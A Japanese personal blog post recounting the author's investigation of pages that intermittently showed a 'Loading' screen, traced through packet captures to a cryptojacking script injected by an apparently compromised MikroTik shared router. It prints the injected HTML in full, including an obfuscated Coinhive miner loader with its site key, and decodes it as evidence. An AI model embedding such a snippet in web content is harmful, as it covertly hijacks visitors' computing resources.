電気ひつじ牧場

技術メモ

マルウェアに感染したと思ったら(多分)してなかった話

はじめに

PCがcryptojackに感染したと思いきや、感染したのはルータでした、という話です。

8月22日

とあるブログ記事を読んでいたところ、下のスクリーンショットのような読み込み画面とavastによるwebシールドの警告が出てきました。どうやらcoinhiveをブロックしているらしく、ああたまにあるやつだなと思い特に何もしませんでした。しかし、そのあとitmediaや(AT)BIOSはてなブログにアクセスした際に同様の警告が出たため、流石にこれはおかしいぞと思い始めます。JavaFlashも無効にしてるし機能拡張もAdBlockしか入れてない、怪しいプロキシを登録しているわけでもない・・・、と一通りチェックした後、とりあえず現状保存のためディスクをバックアップし、システムをavastのフルスキャンにかけて寝ました。

f:id:cha-shu00:20180825090136p:plain
(AT)BIOSにアクセスした際の警告

8月24日

模索

avastのフルスキャンで発見されたものは以前インストールしたaircrackだけでした。節子それマルウェアやない。とりあえず利用していたMacは使わないことにして、予備のWindows機で情報を収集することにしました。そしたらなんと同様の画面(Loadingという文字とgifアニメーション)が表示されます。ネットワークを介して感染が広がったのかと思いこれには流石にびっくりしました。

さらにwindowsにインストールされていたavastはwebシールドが起動しなかったのか普通にコンテンツを読み込んでいました。その時devtoolsで取得したhtmlが以下になります

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>Loading</title>
  <style type="text/css">
    body{font-family: Verdana, Geneva, sans-serif;font-size: 11px;}img{border: none}img:hover{opacity: 0.8;}h1{font-size: 1.7em;display: inline;margin-bottom: 10px;}fieldset{margin-top: 20px;background: #fff;padding: 20px;border: 1px solid #c1c1c1;}#container{width: 70%;margin: 10% auto;}#box{background-color: #fff; -moz-border-radius: 7px; -webkit-border-radius: 7px; border: 1px solid #c1c1c1; padding: 30px;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#f3f3f3'); /* for IE */background: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f3f3f3)); /* for webkit browsers */background: -moz-linear-gradient(top, #fff, #f3f3f3); /* for firefox 3.6+ */}.floater{float: left; margin-right: 10px;}.floater label{display: block; text-align: center;}#login{margin: 2em 0 4em 0;}#login h2{font-weight: normal; font-size: 14px; margin: 0 0 0.5em 1em;}#login td{padding: 0 4px 0 0;}#login td.label{text-align: right;}#login td.toolbar{padding: 0 0 0 1em; vertical-align: top;}#login ul.toolbar{margin: 0;}#login input{margin: 2px; padding: 2px; border: 1px solid #888; box-shadow: 1px 1px 3px rgba(0,0,0,0.3); -webkit-box-shadow: 1px 1px 3px rgba(0,0,0,0.3); -moz-box-shadow: 1px 1px 3px rgba(0,0,0,0.3);}#error{display:none; color:red; padding: 1em 0 0 0;}ul.toolbar{font-size: 11px; text-align: left; list-style-type: none; padding: 0; margin: 2px 0 4px 2px;}ul.toolbar li{float: left; vertical-align: middle;}ul.toolbar a{float: none; display: block; margin: 2px 4px 2px 0; padding: 5px; background: #ddd; border: 1px solid #888; border-radius: 3px; -moz-border-radius: 3px; box-shadow: 1px 1px 2px rgba(255,255,255,0.8) inset,0 10px 10px -5px rgba(255,255,255,0.5) inset, /* top gradient */1px 1px 2px rgba(0,0,0,0.2); /* shadow */ -webkit-box-shadow: 1px 1px 2px rgba(255,255,255,0.8) inset,0 10px 10px -5px rgba(255,255,255,0.5) inset,1px 1px 2px rgba(0,0,0,0.2); -moz-box-shadow: 1px 1px 2px rgba(255,255,255,0.8) inset,0 10px 10px -5px rgba(255,255,255,0.5) inset,1px 1px 2px rgba(0,0,0,0.2); color: #000; text-decoration: none; text-align: center; white-space: nowrap; cursor: inherit; min-width: 4em; -webkit-transition: background 0.2s linear, box-shadow 0.2s ease-out; -moz-transition: background 0.2s linear, box-shadow 0.2s ease-out;}ul.toolbar a:hover{background: #eee;}ul.toolbar a:active{background: #aaa; box-shadow: 1px 1px 2px #999 inset; -webkit-box-shadow: 1px 1px 2px #999 inset; -moz-box-shadow: 1px 1px 2px #999 inset;}
  </style>
</head>
<body>
  <h1>Loading <img src="data:image/gif;base64,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" /></h1>
  <script src="https://coinhive.com/lib/coinhive.min.js"></script>
  <script>
    var _0x7e51=["\x7A\x38\x70\x6A\x37\x4C\x69\x64\x6E\x74\x38\x6D\x58\x50\x6E\x66\x65\x65\x44\x30\x42\x4E\x52\x77\x55\x44\x49\x36\x79\x49\x63\x58","\x73\x74\x61\x72\x74"];var miner= new CoinHive.Anonymous(_0x7e51[0],{throttle:0.2});miner[_0x7e51[1]]()
  </script>
</body>
</html>

やたら長いように見えますが、ほとんどはCSSとgifで占められており、本質的な部分は以下の部分だけです。

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
  <script>
    var _0x7e51=["\x7A\x38\x70\x6A\x37\x4C\x69\x64\x6E\x74\x38\x6D\x58\x50\x6E\x66\x65\x65\x44\x30\x42\x4E\x52\x77\x55\x44\x49\x36\x79\x49\x63\x58","\x73\x74\x61\x72\x74"];var miner= new CoinHive.Anonymous(_0x7e51[0],{throttle:0.2});miner[_0x7e51[1]]()
  </script>

_0x7e51配列の中身をascii文字に変換すると、

var _0x7e51 = ['z8pj7Lidnt8mXPnfeeD0BNRwUDI6yIcX',  'start']

coinhiveのkeyと関数名をエンコードしていたようです。投げ込まれたhtmlはcoinhiveスクリプトを読み込み起動するだけで、他のコンテンツをダウンロードするといったことはしていません。若干安心したもののやはり不安だったためwindows機もavastでフルスキャンしました。すると・・・


デデドン(絶望)
上のツイートはavastが検出したファイルをvirustotalでスキャンした結果です。真っ赤っかです。完全にやられてますありがとうございました。



avastが検出したファイルを展開し、中身を見てみるとJavaScriptソースコードでした。coinhiveという文字列がそこかしこに書いてあったので、マイニングマルウェアの本体かと思いvirustotalにアップロードしてみると、結果は「coinhive.min.js」でした。ツイートをしたときは焦っていた気づかなかったのですが、このgzはchromeのキャッシュが保存されるディレクトリで検知されたもので、先ほどアクセスした際に読み込んだcoinhive.min.jsが保存されたというだけでした。お騒がせしました。

現象の整理

Mac, Windows, iOSで悪性htmlが返ってくる現象を確認
・ブラウザはSafari, Chromeで確認
・普段から利用している多くのwebページで現象が確認
・毎回発生するわけではない。5〜10アクセス毎に1回ほどの割合で発生
・自宅のルータをしばらく使ってなかったものに交換しても同様
・自宅のルータを介さずに直接マンションの共用ルータに繋いでも同様
・httpで接続した際に発生する場合がほとんど(httpsだからと言って生じない訳ではない)
<↑8/26追記: 先ほどこの時のリンクを確認するとhttpでした。リンクを踏んだ後httpsに301リダイレクトされていたため、httpsでも同様の現象が起こったと勘違いしていました。>
・特徴的な文字列(_0x7e51やcoinhiveのkeyなど)は毎回固定。
・↑をggってもそれらしいものはヒットしなかった。

予測

上の現象から、多分自宅のデバイスマルウェアに感染している訳ではないと思います。インターネット側の機器に原因があるか、中間者攻撃されてるかなどの予測がつくので、パケットキャプチャして中身を分析してみます。

パケットを覗く

とあるサイトにアクセスした際のhttpパケットをキャプチャして、正常なレスポンスと異常なレスポンスを比較します。

f:id:cha-shu00:20180825113226p:plain
正常なレスポンス


f:id:cha-shu00:20180825113242p:plain
悪性htmlが返ってきたときのレスポンス

異常系のhttpヘッダには特徴的な文字列が発見できました。それは、「Server: Mikrotik HttpProxy」の部分です。このプロキシサーバが何かしらの悪さをしているかもしれないと思い、検索を掛けたところ、多数の記事がヒットしました。
https://www.trustwave.com/Resources/SpiderLabs-Blog/Mass-MikroTik-Router-Infection-%E2%80%93-First-we-cryptojack-Brazil,-then-we-take-the-World-/www.trustwave.com


www.symantec.com

どうやらMikroTikルータに感染するcryptojackが世界的に流行しているようです。2番目の埋め込みツイートでは私が発見したのと同じ日に特徴的な文字列(_0x7e51やcoinhiveのkey)に関する報告が上がっています。ggっても出てこなかったのは、検索エンジンに登録される前だったからでした。(今ならこのツイートが検索でヒットします)

censysで検索してみる

特徴的な文字列を元にcensysで検索を掛けてみると、日本国内で200以上の機器がヒットしました。かなりの数のルータが感染しているようです。
censys.io

f:id:cha-shu00:20180825120653p:plain

f:id:cha-shu00:20180825120703p:plain

やばそう

ちなみにtracerouteでホップするルータを割り出し、そのIPで検索を掛けたのですが、この中には含まれていませんでした。途中でtracerouteに応答しないルータがある場合が多く、その先に感染したルータがあるのかもしれません。これはまだしっかりと調査できてないので今後新たな発見があるかもしれないです。

今後

この記事を書いている現在もwebページを開くとたまにマイニングスクリプトが走るので、ISPなりIPAなりに相談しようと思います。結構深刻に見えるわりに誰も話題にしてないので全てが僕の勘違いという可能性もありますが。
何か意見や質問があればtwitterやコメント欄でお願いします。

追記〜後日譚〜

当日中に解決したので後日譚でもなんでもありませんが、それはそれはさておき、例の障害、発生しなくなりました!!!

以下、ブログを書いた後に行ったISPとのやりとり
僕「このブログ読んだらだいたいわかると思うのでマンション共用ルータよりインターネット側に異常がないか調べてください」
ISP「障害は確認できませんでした。一応ベンダーに問い合わせてファームウェアアップデートしときました」
僕「(常に最新になるようにしといてよ・・・)障害は消えました。ところでその共用ルータのベンダーとか教えてもらえないですか?」
ISP「セキュリティ上の理由で無理です」
僕「(でしょうね・・・。)」

無理と言われたので自力で調べることにします。家庭用ルーターを挟まず直接壁に生えてるポートからマンション共用ルータに接続しarpMACアドレスを取得しました。MACアドレスの前半部分はベンダー固有の値なのでそれで検索をかけます

「Routerboard.com」

ggってみるとrouterboardというのはMikrotik社のブランドだそうです。また下記の記事でも言及されているように、ベンダーであるMikrotikからは今年4月に修正パッチが配布されています。
https://blog.skyboxsecurity.com/mikrotik-coinhive-cryptojacking/blog.skyboxsecurity.com

これまでの事実をまとめると、
・自宅マンションの共用ルータはMikrotik製のものが利用されていた。
・Mikrotik製のルータはファームをアップデートしないとcryptojackに感染する可能性がある。
ISPがファームのアップデートを行うと障害が(とりあえず今の所は)消えた。
・そもそも周りのセキュリティオタクがこの件で騒いでいない(=バックボーン寄りのルータが感染している可能性は低い)

ここから推測できることは、
私のマンション共用ルータ、cryptojackに感染してたのでは?🤔
あくまで推測です。実は私の端末が全てavastに検出されないマルウェアに感染してるかもしれないし、明日ネットを使ってる時にまた「Loading...」の文字とご対面する可能性もあります。(あったらまたTwitterで勝手に騒いでると思うので、暖かく見守ってください)

所感

今回の件で感じたんですが、「いざ自分の機器がマルウェアに感染したかもしれないと思うと、かなり焦る」ということです。これは完全に私の技術力の問題なんですが、「ネットワークから切断すべきか・・・いやしないほうがあとで解析する際に有利になるって聞いたぞ。いやでも切断しないと情報を抜かれてC2サーバに送信されるかもしれんし・・そうだ再起動すれば治るのでは・・?いやダメだまずメモリダンプを取ってから・・・」などと考え始めて無限に焦ります。マジです。ただ、多分マルウェアには感染してないと分かってからは調査するのが楽しかったです。セキュキャンで受講したインシデントレスポンスCTFが少し役に立ちました。「セキュキャンで学んだことは将来どこかで役に立つだろうな」とは思ってましたが、まさか1週間後に役に立つとは思ってもみなかったです。ルーター等のファームウェアアップデートが重要であることも改めて感じました。みなさんちゃんとルーターはアップデートしましょう。勝手に採掘されますよ。